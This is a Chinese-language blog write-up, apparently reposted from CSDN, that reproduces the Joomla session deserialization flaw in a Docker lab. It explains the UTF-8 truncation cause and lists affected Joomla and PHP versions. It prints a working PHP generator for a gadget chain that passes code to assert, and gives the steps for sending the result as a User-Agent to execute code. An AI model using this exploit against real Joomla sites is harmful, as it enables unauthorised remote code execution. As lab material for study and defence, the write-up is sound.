Joomla反序列化漏洞

一、介绍

1.1 漏洞原理

  PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

1.2 影响版本

joomla<3.4.6
PHP 5.6 <5.6.13、PHP 5.5 <5.5.29、PHP 5.4 <5.4.45

二、漏洞复现

2.1 配置环境

》》运行docker环境
在这里插入图片描述
》》配置环境,访问8080端口
在这里插入图片描述
》》数据库设置如下:
在这里插入图片描述
》》下一步进行安装
在这里插入图片描述
》》删除安装目录即可访问主页
在这里插入图片描述

2.2 漏洞复现

》》访问登录页面,抓取网络数据包,不带User-Agent发送如下数据,记录返回包中的cookie
在这里插入图片描述

》》使用如下脚本,通过此网址生成POC https://sandbox.onlinephpfunctions.com/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a); 

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

echo "123}__test|{$poc}\xF0\x9D\x8C\x86";

》》生成成功:
在这里插入图片描述
》》将生成成功的代码作为User-Agent,加上上一步获取的Cookie,发送给目标服务器
在这里插入图片描述
》》第一次发送的数据包会进入到数据库,在第二次发送时才会成功执行代码
在这里插入图片描述

三、防御措施

升级Joomla和PHP到高版本

猜你喜欢

转载自blog.csdn.net/Aaron_Miller/article/details/112786029